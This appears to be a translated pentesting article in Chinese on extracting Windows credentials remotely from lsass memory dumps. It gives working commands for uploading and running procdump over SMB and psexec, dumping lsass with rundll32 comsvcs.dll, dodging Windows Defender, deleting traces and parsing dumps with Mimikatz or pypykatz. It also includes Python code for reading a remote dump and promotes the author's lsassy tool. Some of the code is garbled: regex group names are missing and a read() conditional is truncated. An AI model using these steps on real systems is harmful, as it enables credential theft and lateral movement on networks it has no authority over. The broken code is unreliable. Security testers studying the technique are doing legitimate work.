03.03 通過lsass遠程提取憑據

在企業滲透測試中,橫向移動感染和權限提升是測試攻擊範圍和擴大攻擊力的兩個必選項。有多種方法可以實現其中一種,但是今天我們將介紹一種遠程讀取lsass轉儲內容的新技術,這將極大地減少在一組計算機上提取密碼時的延遲和檢測。

lsass.exe是一個系統重要進程,用於微軟Windows系統的安全機制。它用於本地安全和登陸策略。如果結束該進程,會出現不可知的錯誤。注意:lsass.exe也有可能是Windang.worm、irc.ratsou.b、Webus.B、MyDoom.L、Randex.AR、Nimos.worm等病毒創建的,病毒通過軟盤、群發郵件和P2P文件共享進行傳播。

CrackMapExec

CrackMapExec(CME)是一款後滲透利用工具,可幫助自動化大型活動目錄(AD)網絡安全評估任務。該工具利用AD內置功能/協議達成其功能,並規避大多數終端防護/IDS/IPS解決方案。

CrackMapExec工具由Byt3bl33d3r開發和維護的,其目的是異步地能夠在一組計算機上執行操作。該工具允許你使用域或本地帳戶以及密碼或LM-NT哈希在遠程計算機上進行身份驗證。

CrackMapExec是採用模塊化方式開發的,可以創建該工具在登錄到計算機時將執行的自己的模塊。模塊已經很多了,例如枚舉不同的信息(DNS,Chrome憑據,已安裝的防病毒軟件)模塊,BloodHound構建器的執行或在“組策略首選項”中查找憑據的模塊。BloodHound是一個獨立的Javascript Web應用程序,基於Linkurious構建,使用Electron編譯,其中Neo4j數據庫由PowerShell ingestor提供。

Mimikatz模塊

特別是有一個模塊,它在一段時間內非常有效,那就是Mimikatz模塊。CrackMapExec在遠程計算機上運行Mimikatz,以從lsass內存或本地安全權限子系統提取憑據。lsass包含所有安全服務提供者或SSP,它們是管理不同類型身份驗證的數據包。出於實際原因,用戶輸入的憑據通常保存在這些SSP中,這樣用戶就不必在幾秒或幾分鐘後再次輸入它們。

這就是為什麼Mimikatz提取位於這些不同ssp中的信息,就是因為試圖找到一些身份驗證機密,並將它們顯示給攻擊者。因此,如果一個權限帳戶連接到其中一臺受感染的主機,則Mimikatz模塊允許你快速提取它的憑證,從而利用這個帳戶的權限來攻擊更多的目標。

但是今天,大多數殺毒軟件已經可以檢測到Mimikatz的存在或執行,並阻止它,所以CrackMapExec模塊只是掛起,等待來自服務器的響應,但由於進程被殺死而無法獲取。

手動方式:Procdump

因此,我過去常常使用名為Procdump的工具手動完成此任務。

Procdump是Sysinternals套件中的一個工具,由Marc Russinovich編寫,旨在幫助系統管理員。目前,這個工具集已經被大量的管理員和開發人員採用,所以微軟在2006年決定購買它,並且這些可執行文件現在已經由微軟簽署,因此Windows認為它們是合法的。

procdump工具就是這些工具中的一種,它的任務是轉儲正在運行的進程內存。它會附加到進程,讀取其內存並將其寫入文件。

<code>procdump --accepteula -ma  processus_dump.dmp/<code>

如前所述,Mimikatz在lsass內存中尋找憑證。因此,可以將lsass內存轉儲到主機上,在本地下載其轉儲,並使用Mimikatz提取憑據。

Procdump可用於轉儲lsass,因為它被認為是合法的,因此不會被視為惡意軟件。

例如,使用套件impacket中的smbclient.py將procdump發送到服務器。

通過lsass遠程提取憑據

<code>smbclient.py ADSEC.LOCAL/[email protected]/<code>
<code># use C$
# cd Windows
# cd Temp
# put procdump.exe/<code>

上傳後,需要執行procdump來創建此lsass轉儲。

通過lsass遠程提取憑據

<code>psexec.py adsec.local/[email protected] "C:\\\\Windows\\\\Temp\\\\procdump.exe -accepteula -ma lsass C:\\\\Windows\\\\Temp\\\\lsass.dmp"/<code>

然後,需要將轉儲文件下載到攻擊者的主機上,並刪除遠程主機上的跟蹤記錄。

通過lsass遠程提取憑據

<code># get lsass.dmp
# del procdump.exe
# del lsass.dmp/<code>

可以使用Mimikatz檢索憑證:第一行加載內存轉儲,第二行檢索秘密。

通過lsass遠程提取憑據

<code>sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords/<code>

該技術非常實用,因為它不會產生太多噪音,並且僅在目標主機上使用合法的可執行文件。

限制與改進

這種方法有不同的侷限性,我們將在此處概述它們,並提出改進措施以解決這些問題。

Linux / Windows

第一個問題是,在測試期間,無論是用於Web測試還是用於內部測試,我主要使用Linux,而Mimikatz是專門為Windows開發的工具,最好能夠在Linux計算機上執行上述攻擊鏈。

幸運的是,Skelsec的Pypykatz項目可以幫助我們解決此問題。Skelsec在純python中開發了Mimikatz的部分實現,這意味著跨平臺。像Mimikatz一樣,這個工具讓我們能夠提取lsass轉儲的秘密。

通過lsass遠程提取憑據

<code>pypykatz lsa minidump lsass.dmp/<code>

由於有了這個項目,現在可以在Linux計算機上執行所有操作。上一節中介紹的所有步驟均適用,並且將lsass dump下載到攻擊者的主機後,pypykatz用於從此轉儲中提取用戶名和密碼或NT哈希。

到目前為止一切順利,讓我們繼續。

Windows Defender

現在說說由第二個由Windows防禦程序引起的限制,儘管從Windows角度來看,procdump是值得信賴的工具,但Windows Defender認為轉儲lsass是可疑活動。轉儲過程完成後,Windows Defender會在幾秒鐘後刪除轉儲。如果我們的連接性很好,並且轉儲不太大,則可以在將其刪除之前先下載它。

這對我來說太隨意了,在查看了procdump文檔之後,我意識到也可以為它提供一個進程標識符(PID)。令人驚訝的是,通過為其提供lsass PID,Windows Defender不再抱怨。

此時,我們只需要使用命令tasklist查找lsass PID。

<code>> tasklist /fi "imagename eq lsass.exe"

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
lsass.exe                      640 Services                   0     15,584 K/<code>

一旦檢索到此PID,就可以將其與procdump一起使用。

<code>procdump -accepteula -ma 640 lsass.dmp/<code>

然後,我們有足夠的時間下載轉儲文件,然後在本地分析它。

手動方式

發送遠程主機的procdump、執行它並檢索轉儲,這些工作都非常完美,但是這是一個非常非常慢的過程。

在本文開頭,我們討論了CrackMapExec及其模塊性,這就是為什麼我編寫了一個模塊來自動執行此“攻擊”的原因。該模塊會將procdump上傳到目標,執行它,從lsass檢索轉儲,然後針對CrackMapExec參數中指定的每個目標使用pypykatz對其進行分析。

該模塊運行良好,但是需要很長時間才能運行。由於文件太大,有時在下載大型轉儲文件時甚至會超時。但是,我們需要使該過程更快。

轉儲文件大小

現在,藉助新的CrackMapExec模塊,我們可以將lsass轉儲到遠程主機上,並在本地和自動在Linux主機上對其進行分析。但是,進程內存轉儲大於幾個字節,甚至幾個千字節。對於lsass轉儲,它們可以是幾兆字節,甚至幾十兆字節。在我的測試期間,一些轉儲竟超過了150MB。

如果要自動化此過程,我們將必須找到解決方案,因為在200臺計算機的子網上下載lsass轉儲將導致下載數十G數據。一方面,這將花費很長時間,尤其是對於其他國家/地區的全球遠程計算機而言,另一方面,安全團隊可能會檢測到異常的網絡流量。

到目前為止,我們已經有了解決問題的工具,但是這次,我們將不得不手動操作。

我們將繼續使用pypykatz從lsass轉儲中提取憑證,由於我們只希望procdump上傳遠程主機,因為它是由微軟簽署的,所以我們不能上傳pypykatz。

考慮到這一點,我們將使用的方法特點如下:為了分析本地轉儲,pypykatz必須打開文件並以不同的偏移量讀取字節。 Pypykats不會讀取太多數據,它只需要讀取特定偏移量的特定數據量即可。

為了提高效率,我們的想法是在遠程目標上的轉儲上遠程讀取這些偏移量和這些地址,並且只下載包含預期信息的少量轉儲。

因此,讓我們看一下pypykatz的工作原理。到目前為止,我們一直在使用的命令行如下:

<code>pypykatz lsa minidump lsass.dmp/<code>

在pypykate中,LSACMDHelper類處理lsa參數。當我們為其提供lsass轉儲時,將調用run()方法,這段代碼可以在以下方法中找到:

<code>###### Minidumpelif args.cmd == 'minidump':
    if args.directory:
        dir_fullpath = os.path.abspath(args.memoryfile)
        file_pattern = '*.dmp'
        if args.recursive == True:
            globdata = os.path.join(dir_fullpath, '**', file_pattern)
        else:\t
            globdata = os.path.join(dir_fullpath, file_pattern)
            
        logging.info('Parsing folder %s' % dir_fullpath)
        for filename in glob.glob(globdata, recursive=args.recursive):
            logging.info('Parsing file %s' % filename)
            try:
                mimi = pypykatz.parse_minidump_file(filename)
                results[filename] = mimi
            except Exception as e:
                files_with_error.append(filename)
                logging.exception('Error parsing file %s ' % filename)
                if args.halt_on_error == True:
                    raise e
                else:
                    pass/<code>

lsass轉儲解析是在以下行實現的:

<code>mimi = pypykatz.parse_minidump_file(filename)/<code>

該方法在pypykatz.py文件中定義:

<code>from minidump.minidumpfile import MinidumpFile""""""@staticmethoddef parse_minidump_file(filename):
    try:
        minidump = MinidumpFile.parse(filename)
        reader = minidump.get_reader().get_buffered_reader()
        sysinfo = KatzSystemInfo.from_minidump(minidump)
    except Exception as e:
        logger.exception('Minidump parsing error!')
        raise e
    try:
        mimi = pypykatz(reader, sysinfo)
        mimi.start()
    except Exception as e:
        #logger.info('Credentials parsing error!')        mimi.log_basic_info()

        raise e
    return mimi/<code>

據估計,它是minidump包中的MinidumpFile類,用於處理解析。我們需要更深入一點,專注於小型轉儲。

在Minidumpfile類中,解析方法描述如下:

<code>@staticmethoddef parse(filename):
    mf = MinidumpFile()
    mf.filename = filename
    mf.file_handle = open(filename, 'rb')
    mf._parse()
\treturn mf/<code>

這是我們正在尋找的代碼,我們嘗試分析的lsass轉儲被打開,然後被解析。解析僅在文件對象上使用read,seek和tell方法。

除了在遠程文件上,我們只需要編寫一些代碼來實現這些方法即可。為此,我們將使用Impacket。

<code>"""
'open' is rewritten to open and read a remote file
"""class open(object):
    def __init__(self, fpath, mode):
        domainName, userName, password, hostName, shareName, filePath = self._parseArg(fpath)
        """
        ImpacketSMBConnexion is a child class of impacket written to simplify the code
        """
        self.__conn = ImpacketSMBConnexion(hostName, userName, password, domainName)
        self.__fpath = filePath
        self.__currentOffset = 0
        self.__tid = self.__connectTree(shareName)
        self.__fid = self.__conn.openFile(self.__tid, self.__fpath)        

    """
    Parse "filename" to extract remote credentials and lsass dump location
    """
    def _parseArg(self, arg):
        pattern = re.compile(r"^(?P[a-zA-Z0-9.-_]+)/(?P[^:]+):(?P[^@]+)@(?P[a-zA-Z0-9.-]+):/(?P[^/]+)(?P/(?:[^/]*/)*[^/]+)$")

        matches = pattern.search(arg)
        if matches is None:
            raise Exception("{} is not valid. Expected format : domain/username:password@host:/share/path/to/file".format(arg))
        return matches.groups()
    
    def close(self):
        self.__conn.close()

    """
    Read @size bytes
    """
    def read(self, size):
        if size == 0:
            return b''
        value = self.__conn.readFile(self.__tid, self.__fid, self.__currentOffset, size)
        return value

    """
    Move offset pointer
    """
    def seek(self, offset, whence=0):
        if whence == 0:
            self.__currentOffset = offset

    """
    Return current offset
    """
    def tell(self):
        return self.__currentOffset/<code>

因此,我們有了在網絡共享上進行身份驗證的新類,並且可以使用上述方法讀取遠程文件。如果我們告訴minidump使用這個類而不是傳統的open方法,那麼minidump會毫不猶豫地讀取遠程內容。

通過lsass遠程提取憑據

<code>minidump adsec.local/jsnow:Winter_is_coming_\\[email protected]:/C$/Windows/Temp/lsass.dmp/<code>

同樣,由於pypykatz使用的是minidump,所以它可以分析遠程轉儲而不需要完全下載它。

通過lsass遠程提取憑據

<code>pypykatz lsa minidump adsec.local/jsnow:Winter_is_coming_\\[email protected]:/C$/Windows/Temp/lsass.dmp/<code>

優化

現在,我們有了一種遠程讀取和分析lsass轉儲的方法,而不必在我們的計算機上下載完整的150MB轉儲,這是向前邁出的一大步!

但是,即使我們不必下載所有內容,轉儲也要花費很長時間,這幾乎與下載整個東西一樣多。這是由於每個minidump每次要讀取幾個字節時,都會向遠程服務器發出新請求。這是非常低效的,當我們記錄一些讀調用時,才意識到minidump發出了許多4字節的請求。

為了克服這個問題,我實現了一個解決方案,即創建一個本地緩衝區,並在請求期間強制讀取最少的字節數,以減少開銷。如果一個請求需要的字節少於4096,那麼我們仍然會請求4096字節,我們將在本地保存這些字節,並且我們只會將第一個字節返回給minidump。

在接下來對read函數的調用中,如果請求的數據大小在本地緩衝區中,則直接返回本地緩衝區,這要快得多。另一方面,如果數據不在緩衝區中,則將請求一個4096字節的新緩衝區。

該優化非常有效,因為minidump會執行大量併發讀取。實施方法如下:

<code>def read(self, size):
    """
    Return an empty string if 0 bytes are requested
    """
    if size == 0:
        return b''

    
    if (self.__buffer_data["offset"] <= self.__currentOffset  self.__currentOffset + size):
        """

        If requested bytes are included in local buffer self.__buffer_data["buffer"], we return theses bytes directly
        """
        value = self.__buffer_data["buffer"][self.__currentOffset - self.__buffer_data["offset"]:self.__currentOffset - self.__buffer_data["offset"] + size]
    else:
        """
        Else, we request these bytes to the remote host
        """
        self.__buffer_data["offset"] = self.__currentOffset

        """
        If the request asks for less then self.__buffer_min_size bytes, we will still ask for self.__buffer_min_size bytes and we will save them in the local buffer for next calls.
        """
        if size             value = self.__conn.readFile(self.__tid, self.__fid, self.__currentOffset, self.__buffer_min_size)
            self.__buffer_data["size"] = self.__buffer_min_size
            self.__total_read += self.__buffer_min_size
            
        else:
            value = self.__conn.read(self.__tid, self.__fid, self.__currentOffset, size)
            self.__buffer_data["size"] = size
            self.__total_read += size
        
        self.__buffer_data["buffer"] = value

    self.__currentOffset += size
    """
    Return what was asked, no more.
    """
    return value[:size]/<code>

這種優化大大節省了時間,下面是在我的計算機上做的一個基準測試:

<code>$ python no_opti.py
Function=minidump, Time=39.831733942

$python opti.py
Function=minidump, Time=0.897719860077/<code>

如果不進行此優化,則腳本將花費大約40秒鐘來運行,而如果進行了優化,則將花費不到一秒鐘的時間。這意味著,在小於150 MB的遠程lsass轉儲中,提取身份驗證秘密的時間不到一秒鐘!

從方程式中刪除Procdump

我們當前的技術是依靠Procdump轉儲lsass內存,但是,儘管它是由Microsoft簽署的,但我發現不使用它更乾淨,而改用Microsoft內置工具。

C:\\Windows\\System32中有一個名為comsvcs.dll的DLL,它在進程崩潰時轉儲進程內存。該DLL包含一個名為MiniDumpW的函數,該函數已編寫,因此可以使用rundll32.exe進行調用。

通過lsass遠程提取憑據

前兩個參數未使用,但第三個參數分為三部分。第一部分是將要轉儲的進程ID,第二部分是轉儲文件位置,第三部分是單詞full,沒有其他選擇。

通過lsass遠程提取憑據

一旦解析了這3個參數,基本上該DLL將創建轉儲文件,並將指定的進程轉儲到該轉儲文件中。

通過lsass遠程提取憑據

由於有了此功能,我們可以使用comsvcs.dll來轉儲lsass進程,而不用上傳procdump並執行它。

<code>rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump " lsass.dmp full"/<code>

我們只需要記住,該技術只能作為SYSTEM執行。

CrackMapExec模塊

使用此新工具,我修改了CrackMapExec模塊,以便它從lsass轉儲中遠程提取密碼。

由於pypykatz和minidump僅在python3.6以前的版本中運行,而CrackMapExec尚不兼容python3,因此我目前無法發出拉取請求,也無法將pypykatz導入到我的模塊中。目前,對pypykatz的調用是通過調用我的工具的新進程完成的。

mpgn正在使用適用於python 3的CrackMapexec。

新開發的工具

本文有兩個我寫的工具,你可以使用這個技巧:

我的Github或Pypi上都有lsassy,此工具使用DLL技術或Procdump技術使用本文中討論的所有研究來遠程轉儲lsass。

CrackMapExec模塊允許你通過在遠程主機上執行lsass轉儲,並使用lsassy提取登錄用戶的憑據來自動化整個過程。通過使用Bloodhound收集的數據,還可以檢測具有攻擊路徑的帳戶成為域管理員。


分享到:


相關文章: